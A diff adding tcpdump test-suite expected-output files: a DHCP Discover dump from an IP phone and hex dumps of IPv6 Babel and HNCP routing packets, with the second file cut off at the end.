+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 594: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 53571, offset 0, flags [DF], proto UDP (17), length 576)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 548, xid 0x9696987c, secs 26, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
diff --git a/peasoup_examples/tests/tcpdump/tcpd_tests/NEW/babel1.out b/peasoup_examples/tests/tcpdump/tcpd_tests/NEW/babel1.out
new file mode 100644
index 0000000000000000000000000000000000000000..80ba514d2b1f228a8fe75c1e147d4f073839a53d
--- /dev/null
+++ b/peasoup_examples/tests/tcpdump/tcpd_tests/NEW/babel1.out
@@ -0,0 +1,191 @@
+ In ethertype IPv6 (0x86dd), length 76: 
+	0x0000:  6000 0000 0014 1101 fe80 0000 0000 0000  `...............
+	0x0010:  68d3 1235 d068 1f9e ff02 0000 0000 0000  h..5.h..........
+	0x0020:  0000 0000 0001 0006 1a29 1a29 0014 0d90  .........).)....
+	0x0030:  2a02 0008 0406 0000 1f6a 07d0            *........j..
+Out ethertype IPv6 (0x86dd), length 76: 
+	0x0000:  6000 0000 0014 1101 fe80 0000 0000 0000  `...............
+	0x0010:  3428 af91 0251 d626 ff02 0000 0000 0000  4(...Q.&........
+	0x0020:  0000 0000 0001 0006 1a29 1a29 0014 3f31  .........).)..?1
+	0x0030:  2a02 0008 0406 0000 9ca6 07d0            *...........
+ In ethertype IPv6 (0x86dd), length 178: 
+	0x0000:  6000 0000 007a 1101 fe80 0000 0000 0000  `....z..........
+	0x0010:  68d3 1235 d068 1f9e ff02 0000 0000 0000  h..5.h..........
+	0x0020:  0000 0000 0001 0006 1a29 1a29 007a 6dff  .........).).zm.
+	0x0030:  2a02 006e 081d 02c0 8000 1f40 7e10 0001  *..n.......@~...
+	0x0040:  2001 0660 3301 8063 0218 84ff fe1a 615d  ...`3..c......a]
+	0x0050:  0201 0607 0601 00c0 a804 1908 1101 0020  ................
+	0x0060:  001f 407e 1000 01c0 a804 c302 0106 0812  ..@~............
+	0x0070:  02c0 800a 1f40 9cd5 0000 f3ff fea9 914e  .....@.........N
+	0x0080:  0200 080c 0200 0000 1f40 9cd5 00c4 0200  .........@......
+	0x0090:  0810 0100 2000 1f40 9cd5 0000 c0a8 0419  .......@........
+	0x00a0:  0200                                     ..
+ In ethertype IPv6 (0x86dd), length 92: 
+	0x0000:  6000 0000 0024 1101 fe80 0000 0000 0000  `....$..........
+	0x0010:  68d3 1235 d068 1f9e ff02 0000 0000 0000  h..5.h..........
+	0x0020:  0000 0000 0001 0006 1a29 1a29 0024 314f  .........).).$1O
+	0x0030:  2a02 0018 0406 0000 1f6b 07d0 050e 0300  *........k......
+	0x0040:  0060 1770 3428 af91 0251 d626            .`.p4(...Q.&
+Out ethertype IPv6 (0x86dd), length 76: 
+	0x0000:  6000 0000 0014 1101 fe80 0000 0000 0000  `...............
+	0x0010:  3428 af91 0251 d626 ff02 0000 0000 0000  4(...Q.&........
+	0x0020:  0000 0000 0001 0006 1a29 1a29 0014 3f30  .........).)..?0
+	0x0030:  2a02 0008 0406 0000 9ca7 07d0            *...........
+ In ethertype IPv6 (0x86dd), length 76: 
+	0x0000:  6000 0000 0014 1101 fe80 0000 0000 0000  `...............
+	0x0010:  68d3 1235 d068 1f9e ff02 0000 0000 0000  h..5.h..........
+	0x0020:  0000 0000 0001 0006 1a29 1a29 0014 0d8e  .........).)....
+	0x0030:  2a02 0008 0406 0000 1f6c 07d0            *........l..
+Out ethertype IPv6 (0x86dd), length 92: 
+	0x0000:  6000 0000 0024 1101 fe80 0000 0000 0000  `....$..........
+	0x0010:  3428 af91 0251 d626 ff02 0000 0000 0000  4(...Q.&........
+	0x0020:  0000 0000 0001 0006 1a29 1a29 0024 b411  .........).).$..
+	0x0030:  2a02 0018 0406 0000 9ca8 07d0 050e 0300  *...............
+	0x0040:  0060 1770 68d3 1235 d068 1f9e            .`.ph..5.h..
+ In ethertype IPv6 (0x86dd), length 76: 
+	0x0000:  6000 0000 0014 1101 fe80 0000 0000 0000  `...............
+	0x0010:  68d3 1235 d068 1f9e ff02 0000 0000 0000  h..5.h..........
+	0x0020:  0000 0000 0001 0006 1a29 1a29 0014 0d8d  .........).)....
+	0x0030:  2a02 0008 0406 0000 1f6d 07d0            *........m..
+Out ethertype IPv6 (0x86dd), length 76: 
+	0x0000:  6000 0000 0014 1101 fe80 0000 0000 0000  `...............
+	0x0010:  3428 af91 0251 d626 ff02 0000 0000 0000  4(...Q.&........
+	0x0020:  0000 0000 0001 0006 1a29 1a29 0014 3f2e  .........).)..?.
+	0x0030:  2a02 0008 0406 0000 9ca9 07d0            *...........
+ In ethertype IPv6 (0x86dd), length 120: 
+	0x0000:  6000 0000 0040 1101 fe80 0000 0000 0000  `....@..........
+	0x0010:  68d3 1235 d068 1f9e ff02 0000 0000 0000  h..5.h..........
+	0x0020:  0000 0000 0001 0006 1a29 1a29 0040 0425  .........).).@.%
+	0x0030:  2a02 0034 081a 02c0 8000 1f40 9cd5 ffff  *..4.......@....
+	0x0040:  2001 0660 3301 8063 0218 f3ff fea9 914e  ...`3..c.......N
+	0x0050:  080a 0280 8010 1f40 9cd5 ffff 080a 0280  .......@........
+	0x0060:  8010 1f40 9cd5 ffff                      ...@....
+Out ethertype IPv6 (0x86dd), length 100: 
+	0x0000:  6000 0000 002c 1101 fe80 0000 0000 0000  `....,..........
+	0x0010:  3428 af91 0251 d626 ff02 0000 0000 0000  4(...Q.&........
+	0x0020:  0000 0000 0001 0006 1a29 1a29 002c d909  .........).).,..
+	0x0030:  2a02 0020 0a1e 0280 9cd6 7f00 0218 f3ff  *...............
+	0x0040:  fea9 914e 2001 0660 3301 8063 0218 f3ff  ...N...`3..c....
+	0x0050:  fea9 914e                                ...N
+ In ethertype IPv6 (0x86dd), length 106: 
+	0x0000:  6000 0000 0032 1101 fe80 0000 0000 0000  `....2..........
+	0x0010:  68d3 1235 d068 1f9e ff02 0000 0000 0000  h..5.h..........
+	0x0020:  cca6 c0f9 e182 5359 14ef 14ef 0032 4d5c  ......SY.....2M\
+	0x0030:  2b01 0101 de3e 5127 0218 f3ff fea9 914e  +....>Q'.......N
+	0x0040:  ffff ffff ffff ffff 0000 000e 0204 4d9e  ..............M.
+	0x0050:  145b 0304 0000 0eb8 0600                 .[........
+ In ethertype IPv6 (0x86dd), length 106: 
+	0x0000:  6000 0000 0032 1101 fe80 0000 0000 0000  `....2..........
+	0x0010:  68d3 1235 d068 1f9e ff02 0000 0000 0000  h..5.h..........
+	0x0020:  cca6 c0f9 e182 5359 14ef 14ef 0032 4b65  ......SY.....2Ke
+	0x0030:  2b01 0202 df3e 5127 0218 f3ff fea9 914e  +....>Q'.......N
+	0x0040:  ffff ffff ffff ffff 0000 000e 0204 4d9e  ..............M.
+	0x0050:  145c 0304 0000 0ead 0600                 .\........
+Out ethertype IPv6 (0x86dd), length 244: 
+	0x0000:  6000 0000 00bc 1140 fe80 0000 0000 0000  `......@........
+	0x0010:  3428 af91 0251 d626 fe80 0000 0000 0000  4(...Q.&........
+	0x0020:  68d3 1235 d068 1f9e 14ef 14ef 00bc e775  h..5.h.........u
+	0x0030:  2b01 0101 c9b8 3d0d 7940 147f b66d c329  +.....=.y@...m.)
+	0x0040:  0218 f3ff fea9 914e 0100 0098 0204 4d9e  .......N......M.
+	0x0050:  145c 0103 0400 000f 2009 0400 0000 0006  .\..............
+	0x0060:  1120 0106 6033 0180 6300 0000 0000 0000  ....`3..c.......
+	0x0070:  0040 0c30 2001 0660 3301 8063 0000 0000  .@.0...`3..c....
+	0x0080:  0000 0001 0000 0000 0000 0000 0000 ffff  ................
+	0x0090:  c0a8 0401 0000 0000 0000 0000 0000 ffff  ................
+	0x00a0:  869d a879 0d30 2001 0660 3301 8063 0000  ...y.0...`3..c..
+	0x00b0:  0000 0000 0001 0000 0000 0000 0000 0000  ................
+	0x00c0:  ffff 869d a879 2001 0660 3301 8063 0218  .....y...`3..c..
+	0x00d0:  f3ff fea9 914e 050c c0a8 0414 c0a8 0414  .....N..........
+	0x00e0:  c0a8 0414                                ....
+ In ethertype IPv6 (0x86dd), length 106: 
+	0x0000:  6000 0000 0032 1101 fe80 0000 0000 0000  `....2..........
+	0x0010:  68d3 1235 d068 1f9e ff02 0000 0000 0000  h..5.h..........
+	0x0020:  cca6 c0f9 e182 5359 14ef 14ef 0032 41fd  ......SY.....2A.
+	0x0030:  2b01 0101 e03e 5127 0218 f3ff fea9 914e  +....>Q'.......N
+	0x0040:  7940 147f b66d c329 0200 000e 0204 4d9e  y@...m.)......M.
+	0x0050:  145c 0304 0000 0ebf 0600                 .\........
+Out ethertype IPv6 (0x86dd), length 106: 
+	0x0000:  6000 0000 0032 1101 fe80 0000 0000 0000  `....2..........
+	0x0010:  3428 af91 0251 d626 ff02 0000 0000 0000  4(...Q.&........
+	0x0020:  cca6 c0f9 e182 5359 14ef 14ef 0032 fb42  ......SY.....2.B
+	0x0030:  2b01 0102 df3e 5127 0218 f3ff fea9 914e  +....>Q'.......N
+	0x0040:  ffff ffff ffff ffff 0000 000e 0204 4d9e  ..............M.
+	0x0050:  145c 0304 0000 0ead 0600                 .\........
+ In ethertype IPv6 (0x86dd), length 96: 
+	0x0000:  6000 0000 0028 1101 fe80 0000 0000 0000  `....(..........
+	0x0010:  68d3 1235 d068 1f9e ff02 0000 0000 0000  h..5.h..........
+	0x0020:  0000 0000 0001 0006 1a29 1a29 0028 91cd  .........).).(..
+	0x0030:  2a02 001c 081a 02c0 8000 1f40 9cd5 ffff  *..........@....
+	0x0040:  2001 0660 3301 8063 0218 f3ff fea9 914e  ...`3..c.......N
+Out ethertype IPv6 (0x86dd), length 100: 
+	0x0000:  6000 0000 002c 1101 fe80 0000 0000 0000  `....,..........
+	0x0010:  3428 af91 0251 d626 ff02 0000 0000 0000  4(...Q.&........
+	0x0020:  0000 0000 0001 0006 1a29 1a29 002c d909  .........).).,..
+	0x0030:  2a02 0020 0a1e 0280 9cd6 7f00 0218 f3ff  *...............
+	0x0040:  fea9 914e 2001 0660 3301 8063 0218 f3ff  ...N...`3..c....
+	0x0050:  fea9 914e                                ...N
+Out ethertype IPv6 (0x86dd), length 244: 
+	0x0000:  6000 0000 00bc 1140 fe80 0000 0000 0000  `......@........
+	0x0010:  3428 af91 0251 d626 fe80 0000 0000 0000  4(...Q.&........
+	0x0020:  68d3 1235 d068 1f9e 14ef 14ef 00bc f573  h..5.h.........s
+	0x0030:  2b01 0202 cab8 3d0d 7940 147f b66d c329  +.....=.y@...m.)
+	0x0040:  0218 f3ff fea9 914e 0100 0098 0204 4d9e  .......N......M.
+	0x0050:  145d 0103 0400 000f 1009 0400 0000 0006  .]..............
+	0x0060:  1120 0106 6033 0180 6300 0000 0000 0000  ....`3..c.......
+	0x0070:  0040 0c30 2001 0660 3301 8063 0000 0000  .@.0...`3..c....
+	0x0080:  0000 0001 0000 0000 0000 0000 0000 ffff  ................
+	0x0090:  c0a8 0401 0000 0000 0000 0000 0000 ffff  ................
+	0x00a0:  869d a879 0d30 2001 0660 3301 8063 0000  ...y.0...`3..c..
+	0x00b0:  0000 0000 0001 0000 0000 0000 0000 0000  ................
+	0x00c0:  ffff 869d a879 2001 0660 3301 8063 0218  .....y...`3..c..
+	0x00d0:  f3ff fea9 914e 050c c0a8 0414 c0a8 0414  .....N..........
+	0x00e0:  c0a8 0414                                ....
+ In ethertype IPv6 (0x86dd), length 106: 
+	0x0000:  6000 0000 0032 1101 fe80 0000 0000 0000  `....2..........
+	0x0010:  68d3 1235 d068 1f9e ff02 0000 0000 0000  h..5.h..........
+	0x0020:  cca6 c0f9 e182 5359 14ef 14ef 0032 4104  ......SY.....2A.
+	0x0030:  2b01 0101 e13e 5127 0218 f3ff fea9 914e  +....>Q'.......N
+	0x0040:  7940 147f b66d c329 0200 000e 0204 4d9e  y@...m.)......M.
+	0x0050:  145e 0304 0000 0eb6 0600                 .^........
+ In ethertype IPv6 (0x86dd), length 92: 
+	0x0000:  6000 0000 0024 1101 fe80 0000 0000 0000  `....$..........
+	0x0010:  68d3 1235 d068 1f9e ff02 0000 0000 0000  h..5.h..........
+	0x0020:  0000 0000 0001 0006 1a29 1a29 0024 314c  .........).).$1L
+	0x0030:  2a02 0018 0406 0000 1f6e 07d0 050e 0300  *........n......
+	0x0040:  0060 1770 3428 af91 0251 d626            .`.p4(...Q.&
+ In ethertype IPv6 (0x86dd), length 96: 
+	0x0000:  6000 0000 0028 1101 fe80 0000 0000 0000  `....(..........
+	0x0010:  68d3 1235 d068 1f9e ff02 0000 0000 0000  h..5.h..........
+	0x0020:  0000 0000 0001 0006 1a29 1a29 0028 91cd  .........).).(..
+	0x0030:  2a02 001c 081a 02c0 8000 1f40 9cd5 ffff  *..........@....
+	0x0040:  2001 0660 3301 8063 0218 f3ff fea9 914e  ...`3..c.......N
+Out ethertype IPv6 (0x86dd), length 100: 
+	0x0000:  6000 0000 002c 1101 fe80 0000 0000 0000  `....,..........
+	0x0010:  3428 af91 0251 d626 ff02 0000 0000 0000  4(...Q.&........
+	0x0020:  0000 0000 0001 0006 1a29 1a29 002c d909  .........).).,..
+	0x0030:  2a02 0020 0a1e 0280 9cd6 7f00 0218 f3ff  *...............
+	0x0040:  fea9 914e 2001 0660 3301 8063 0218 f3ff  ...N...`3..c....
+	0x0050:  fea9 914e                                ...N
+Out ethertype IPv6 (0x86dd), length 244: 
+	0x0000:  6000 0000 00bc 1140 fe80 0000 0000 0000  `......@........
+	0x0010:  3428 af91 0251 d626 fe80 0000 0000 0000  4(...Q.&........
+	0x0020:  68d3 1235 d068 1f9e 14ef 14ef 00bc e572  h..5.h.........r
+	0x0030:  2b01 0101 cbb8 3d0d 7940 147f b66d c329  +.....=.y@...m.)
+	0x0040:  0218 f3ff fea9 914e 0300 0098 0204 4d9e  .......N......M.
+	0x0050:  145f 0103 0400 000f 1e09 0400 0000 0006  ._..............
+	0x0060:  1120 0106 6033 0180 6300 0000 0000 0000  ....`3..c.......
+	0x0070:  0040 0c30 2001 0660 3301 8063 0000 0000  .@.0...`3..c....
+	0x0080:  0000 0001 0000 0000 0000 0000 0000 ffff  ................
+	0x0090:  c0a8 0401 0000 0000 0000 0000 0000 ffff  ................
+	0x00a0:  869d a879 0d30 2001 0660 3301 8063 0000  ...y.0...`3..c..
+	0x00b0:  0000 0000 0001 0000 0000 0000 0000 0000  ................
+	0x00c0:  ffff 869d a879 2001 0660 3301 8063 0218  .....y...`3..c..
+	0x00d0:  f3ff fea9 914e 050c c0a8 0414 c0a8 0414  .....N..........
+	0x00e0:  c0a8 0414                                ....
+ In ethertype IPv6 (0x86dd), length 112: 
+	0x0000:  6000 0000 0038 0001 fe80 0000 0000 0000  `....8..........
+	0x0010:  68d3 1235 d068 1f9e ff02 0000 0000 0000  h..5.h..........
+	0x0020:  0000 0000 0000 0016 3a00 0502 0000 0100  ........:.......
+	0x0030:  8f00 3f60 0000 0002 0400 0000 ff02 0000  ..?`............
+	0x0040:  0000 0000 0000 0000 0001 0006 0400 0000  ................
+	0x0050:  ff02 0000 0000 0000 cca6 c0f9 e182 5359  ..............SY
diff --git a/peasoup_examples/tests/tcpdump/tcpd_tests/NEW/babel1v.out b/peasoup_examples/tests/tcpdump/tcpd_tests/NEW/babel1v.out
new file mode 100644
index 0000000000000000000000000000000000000000..80ba514d2b1f228a8fe75c1e147d4f073839a53d
--- /dev/null
+++ b/peasoup_examples/tests/tcpdump/tcpd_tests/NEW/babel1v.out
@@ -0,0 +1,191 @@
+ In ethertype IPv6 (0x86dd), length 76: 
+	0x0000:  6000 0000 0014 1101 fe80 0000 0000 0000  `...............
+	0x0010:  68d3 1235 d068 1f9e ff02 0000 0000 0000  h..5.h..........
+	0x0020:  0000 0000 0001 0006 1a29 1a29 0014 0d90  .........).)....
+	0x0030:  2a02 0008 0406 0000 1f6a 07d0            *........j..
+Out ethertype IPv6 (0x86dd), length 76: 
+	0x0000:  6000 0000 0014 1101 fe80 0000 0000 0000  `...............
+	0x0010:  3428 af91 0251 d626 ff02 0000 0000 0000  4(...Q.&........
+	0x0020:  0000 0000 0001 0006 1a29 1a29 0014 3f31  .........).)..?1
+	0x0030:  2a02 0008 0406 0000 9ca6 07d0            *...........
+ In ethertype IPv6 (0x86dd), length 178: 
+	0x0000:  6000 0000 007a 1101 fe80 0000 0000 0000  `....z..........
+	0x0010:  68d3 1235 d068 1f9e ff02 0000 0000 0000  h..5.h..........
+	0x0020:  0000 0000 0001 0006 1a29 1a29 007a 6dff  .........).).zm.
+	0x0030:  2a02 006e 081d 02c0 8000 1f40 7e10 0001  *..n.......@~...
+	0x0040:  2001 0660 3301 8063 0218 84ff fe1a 615d  ...`3..c......a]
+	0x0050:  0201 0607 0601 00c0 a804 1908 1101 0020  ................
+	0x0060:  001f 407e 1000 01c0 a804 c302 0106 0812  ..@~............
+	0x0070:  02c0 800a 1f40 9cd5 0000 f3ff fea9 914e  .....@.........N
+	0x0080:  0200 080c 0200 0000 1f40 9cd5 00c4 0200  .........@......
+	0x0090:  0810 0100 2000 1f40 9cd5 0000 c0a8 0419  .......@........
+	0x00a0:  0200                                     ..
+ In ethertype IPv6 (0x86dd), length 92: 
+	0x0000:  6000 0000 0024 1101 fe80 0000 0000 0000  `....$..........
+	0x0010:  68d3 1235 d068 1f9e ff02 0000 0000 0000  h..5.h..........
+	0x0020:  0000 0000 0001 0006 1a29 1a29 0024 314f  .........).).$1O
+	0x0030:  2a02 0018 0406 0000 1f6b 07d0 050e 0300  *........k......
+	0x0040:  0060 1770 3428 af91 0251 d626            .`.p4(...Q.&
+Out ethertype IPv6 (0x86dd), length 76: 
+	0x0000:  6000 0000 0014 1101 fe80 0000 0000 0000  `...............
+	0x0010:  3428 af91 0251 d626 ff02 0000 0000 0000  4(...Q.&........
+	0x0020:  0000 0000 0001 0006 1a29 1a29 0014 3f30  .........).)..?0
+	0x0030:  2a02 0008 0406 0000 9ca7 07d0            *...........
+ In ethertype IPv6 (0x86dd), length 76: 
+	0x0000:  6000 0000 0014 1101 fe80 0000 0000 0000  `...............
+	0x0010:  68d3 1235 d068 1f9e ff02 0000 0000 0000  h..5.h..........
+	0x0020:  0000 0000 0001 0006 1a29 1a29 0014 0d8e  .........).)....
+	0x0030:  2a02 0008 0406 0000 1f6c 07d0            *........l..
+Out ethertype IPv6 (0x86dd), length 92: 
+	0x0000:  6000 0000 0024 1101 fe80 0000 0000 0000  `....$..........
+	0x0010:  3428 af91 0251 d626 ff02 0000 0000 0000  4(...Q.&........
+	0x0020:  0000 0000 0001 0006 1a29 1a29 0024 b411  .........).).$..
+	0x0030:  2a02 0018 0406 0000 9ca8 07d0 050e 0300  *...............
+	0x0040:  0060 1770 68d3 1235 d068 1f9e            .`.ph..5.h..
+ In ethertype IPv6 (0x86dd), length 76: 
+	0x0000:  6000 0000 0014 1101 fe80 0000 0000 0000  `...............
+	0x0010:  68d3 1235 d068 1f9e ff02 0000 0000 0000  h..5.h..........
+	0x0020:  0000 0000 0001 0006 1a29 1a29 0014 0d8d  .........).)....
+	0x0030:  2a02 0008 0406 0000 1f6d 07d0            *........m..
+Out ethertype IPv6 (0x86dd), length 76: 
+	0x0000:  6000 0000 0014 1101 fe80 0000 0000 0000  `...............
+	0x0010:  3428 af91 0251 d626 ff02 0000 0000 0000  4(...Q.&........
+	0x0020:  0000 0000 0001 0006 1a29 1a29 0014 3f2e  .........).)..?.
+	0x0030:  2a02 0008 0406 0000 9ca9 07d0            *...........
+ In ethertype IPv6 (0x86dd), length 120: 
+	0x0000:  6000 0000 0040 1101 fe80 0000 0000 0000  `....@..........
+	0x0010:  68d3 1235 d068 1f9e ff02 0000 0000 0000  h..5.h..........
+	0x0020:  0000 0000 0001 0006 1a29 1a29 0040 0425  .........).).@.%
+	0x0030:  2a02 0034 081a 02c0 8000 1f40 9cd5 ffff  *..4.......@....
+	0x0040:  2001 0660 3301 8063 0218 f3ff fea9 914e  ...`3..c.......N
+	0x0050:  080a 0280 8010 1f40 9cd5 ffff 080a 0280  .......@........
+	0x0060:  8010 1f40 9cd5 ffff                      ...@....
+Out ethertype IPv6 (0x86dd), length 100: 
+	0x0000:  6000 0000 002c 1101 fe80 0000 0000 0000  `....,..........
+	0x0010:  3428 af91 0251 d626 ff02 0000 0000 0000  4(...Q.&........
+	0x0020:  0000 0000 0001 0006 1a29 1a29 002c d909  .........).).,..
+	0x0030:  2a02 0020 0a1e 0280 9cd6 7f00 0218 f3ff  *...............
+	0x0040:  fea9 914e 2001 0660 3301 8063 0218 f3ff  ...N...`3..c....
+	0x0050:  fea9 914e                                ...N
+ In ethertype IPv6 (0x86dd), length 106: 
+	0x0000:  6000 0000 0032 1101 fe80 0000 0000 0000  `....2..........
+	0x0010:  68d3 1235 d068 1f9e ff02 0000 0000 0000  h..5.h..........
+	0x0020:  cca6 c0f9 e182 5359 14ef 14ef 0032 4d5c  ......SY.....2M\
+	0x0030:  2b01 0101 de3e 5127 0218 f3ff fea9 914e  +....>Q'.......N
+	0x0040:  ffff ffff ffff ffff 0000 000e 0204 4d9e  ..............M.
+	0x0050:  145b 0304 0000 0eb8 0600                 .[........
+ In ethertype IPv6 (0x86dd), length 106: 
+	0x0000:  6000 0000 0032 1101 fe80 0000 0000 0000  `....2..........
+	0x0010:  68d3 1235 d068 1f9e ff02 0000 0000 0000  h..5.h..........
+	0x0020:  cca6 c0f9 e182 5359 14ef 14ef 0032 4b65  ......SY.....2Ke
+	0x0030:  2b01 0202 df3e 5127 0218 f3ff fea9 914e  +....>Q'.......N
+	0x0040:  ffff ffff ffff ffff 0000 000e 0204 4d9e  ..............M.
+	0x0050:  145c 0304 0000 0ead 0600                 .\........
+Out ethertype IPv6 (0x86dd), length 244: 
+	0x0000:  6000 0000 00bc 1140 fe80 0000 0000 0000  `......@........
+	0x0010:  3428 af91 0251 d626 fe80 0000 0000 0000  4(...Q.&........
+	0x0020:  68d3 1235 d068 1f9e 14ef 14ef 00bc e775  h..5.h.........u
+	0x0030:  2b01 0101 c9b8 3d0d 7940 147f b66d c329  +.....=.y@...m.)
+	0x0040:  0218 f3ff fea9 914e 0100 0098 0204 4d9e  .......N......M.
+	0x0050:  145c 0103 0400 000f 2009 0400 0000 0006  .\..............
+	0x0060:  1120 0106 6033 0180 6300 0000 0000 0000  ....`3..c.......
+	0x0070:  0040 0c30 2001 0660 3301 8063 0000 0000  .@.0...`3..c....
+	0x0080:  0000 0001 0000 0000 0000 0000 0000 ffff  ................
+	0x0090:  c0a8 0401 0000 0000 0000 0000 0000 ffff  ................
+	0x00a0:  869d a879 0d30 2001 0660 3301 8063 0000  ...y.0...`3..c..
+	0x00b0:  0000 0000 0001 0000 0000 0000 0000 0000  ................
+	0x00c0:  ffff 869d a879 2001 0660 3301 8063 0218  .....y...`3..c..
+	0x00d0:  f3ff fea9 914e 050c c0a8 0414 c0a8 0414  .....N..........
+	0x00e0:  c0a8 0414                                ....
+ In ethertype IPv6 (0x86dd), length 106: 
+	0x0000:  6000 0000 0032 1101 fe80 0000 0000 0000  `....2..........
+	0x0010:  68d3 1235 d068 1f9e ff02 0000 0000 0000  h..5.h..........
+	0x0020:  cca6 c0f9 e182 5359 14ef 14ef 0032 41fd  ......SY.....2A.
+	0x0030:  2b01 0101 e03e 5127 0218 f3ff fea9 914e  +....>Q'.......N
+	0x0040:  7940 147f b66d c329 0200 000e 0204 4d9e  y@...m.)......M.
+	0x0050:  145c 0304 0000 0ebf 0600                 .\........
+Out ethertype IPv6 (0x86dd), length 106: 
+	0x0000:  6000 0000 0032 1101 fe80 0000 0000 0000  `....2..........
+	0x0010:  3428 af91 0251 d626 ff02 0000 0000 0000  4(...Q.&........
+	0x0020:  cca6 c0f9 e182 5359 14ef 14ef 0032 fb42  ......SY.....2.B
+	0x0030:  2b01 0102 df3e 5127 0218 f3ff fea9 914e  +....>Q'.......N
+	0x0040:  ffff ffff ffff ffff 0000 000e 0204 4d9e  ..............M.
+	0x0050:  145c 0304 0000 0ead 0600                 .\........
+ In ethertype IPv6 (0x86dd), length 96: 
+	0x0000:  6000 0000 0028 1101 fe80 0000 0000 0000  `....(..........
+	0x0010:  68d3 1235 d068 1f9e ff02 0000 0000 0000  h..5.h..........
+	0x0020:  0000 0000 0001 0006 1a29 1a29 0028 91cd  .........).).(..
+	0x0030:  2a02 001c 081a 02c0 8000 1f40 9cd5 ffff  *..........@....
+	0x0040:  2001 0660 3301 8063 0218 f3ff fea9 914e  ...`3..c.......N
+Out ethertype IPv6 (0x86dd), length 100: 
+	0x0000:  6000 0000 002c 1101 fe80 0000 0000 0000  `....,..........
+	0x0010:  3428 af91 0251 d626 ff02 0000 0000 0000  4(...Q.&........
+	0x0020:  0000 0000 0001 0006 1a29 1a29 002c d909  .........).).,..
+	0x0030:  2a02 0020 0a1e 0280 9cd6 7f00 0218 f3ff  *...............
+	0x0040:  fea9 914e 2001 0660 3301 8063 0218 f3ff  ...N...`3..c....
+	0x0050:  fea9 914e                                ...N
+Out ethertype IPv6 (0x86dd), length 244: 
+	0x0000:  6000 0000 00bc 1140 fe80 0000 0000 0000  `......@........
+	0x0010:  3428 af91 0251 d626 fe80 0000 0000 0000  4(...Q.&........
+	0x0020:  68d3 1235 d068 1f9e 14ef 14ef 00bc f573  h..5.h.........s
+	0x0030:  2b01 0202 cab8 3d0d 7940 147f b66d c329  +.....=.y@...m.)
+	0x0040:  0218 f3ff fea9 914e 0100 0098 0204 4d9e  .......N......M.
+	0x0050:  145d 0103 0400 000f 1009 0400 0000 0006  .]..............
+	0x0060:  1120 0106 6033 0180 6300 0000 0000 0000  ....`3..c.......
+	0x0070:  0040 0c30 2001 0660 3301 8063 0000 0000  .@.0...`3..c....
+	0x0080:  0000 0001 0000 0000 0000 0000 0000 ffff  ................
+	0x0090:  c0a8 0401 0000 0000 0000 0000 0000 ffff  ................
+	0x00a0:  869d a879 0d30 2001 0660 3301 8063 0000  ...y.0...`3..c..
+	0x00b0:  0000 0000 0001 0000 0000 0000 0000 0000  ................
+	0x00c0:  ffff 869d a879 2001 0660 3301 8063 0218  .....y...`3..c..
+	0x00d0:  f3ff fea9 914e 050c c0a8 0414 c0a8 0414  .....N..........
+	0x00e0:  c0a8 0414                                ....
+ In ethertype IPv6 (0x86dd), length 106: 
+	0x0000:  6000 0000 0032 1101 fe80 0000 0000 0000  `....2..........
+	0x0010:  68d3 1235 d068 1f9e ff02 0000 0000 0000  h..5.h..........
+	0x0020:  cca6 c0f9 e182 5359 14ef 14ef 0032 4104  ......SY.....2A.
+	0x0030:  2b01 0101 e13e 5127 0218 f3ff fea9 914e  +....>Q'.......N
+	0x0040:  7940 147f b66d c329 0200 000e 0204 4d9e  y@...m.)......M.
+	0x0050:  145e 0304 0000 0eb6 0600                 .^........
+ In ethertype IPv6 (0x86dd), length 92: 
+	0x0000:  6000 0000 0024 1101 fe80 0000 0000 0000  `....$..........
+	0x0010:  68d3 1235 d068 1f9e ff02 0000 0000 0000  h..5.h..........
+	0x0020:  0000 0000 0001 0006 1a29 1a29 0024 314c  .........).).$1L
+	0x0030:  2a02 0018 0406 0000 1f6e 07d0 050e 0300  *........n......
+	0x0040:  0060 1770 3428 af91 0251 d626            .`.p4(...Q.&
+ In ethertype IPv6 (0x86dd), length 96: 
+	0x0000:  6000 0000 0028 1101 fe80 0000 0000 0000  `....(..........
+	0x0010:  68d3 1235 d068 1f9e ff02 0000 0000 0000  h..5.h..........
+	0x0020:  0000 0000 0001 0006 1a29 1a29 0028 91cd  .........).).(..
+	0x0030:  2a02 001c 081a 02c0 8000 1f40 9cd5 ffff  *..........@....
+	0x0040:  2001 0660 3301 8063 0218 f3ff fea9 914e  ...`3..c.......N
+Out ethertype IPv6 (0x86dd), length 100: 
+	0x0000:  6000 0000 002c 1101 fe80 0000 0000 0000  `....,..........
+	0x0010:  3428 af91 0251 d626 ff02 0000 0000 0000  4(...Q.&........
+	0x0020:  0000 0000 0001 0006 1a29 1a29 002c d909  .........).).,..
+	0x0030:  2a02 0020 0a1e 0280 9cd6 7f00 0218 f3ff  *...............
+	0x0040:  fea9 914e 2001 0660 3301 8063 0218 f3ff  ...N...`3..c....
+	0x0050:  fea9 914e                                ...N
+Out ethertype IPv6 (0x86dd), length 244: 
+	0x0000:  6000 0000 00bc 1140 fe80 0000 0000 0000  `......@........
+	0x0010:  3428 af91 0251 d626 fe80 0000 0000 0000  4(...Q.&........
+	0x0020:  68d3 1235 d068 1f9e 14ef 14ef 00bc e572  h..5.h.........r
+	0x0030:  2b01 0101 cbb8 3d0d 7940 147f b66d c329  +.....=.y@...m.)
+	0x0040:  0218 f3ff fea9 914e 0300 0098 0204 4d9e  .......N......M.
+	0x0050:  145f 0103 0400 000f 1e09 0400 0000 0006  ._..............
+	0x0060:  1120 0106 6033 0180 6300 0000 0000 0000  ....`3..c.......
+	0x0070:  0040 0c30 2001 0660 3301 8063 0000 0000  .@.0...`3..c....
+	0x0080:  0000 0001 0000 0000 0000 0000 0000 ffff  ................
+	0x0090:  c0a8 0401 0000 0000 0000 0000 0000 ffff  ................
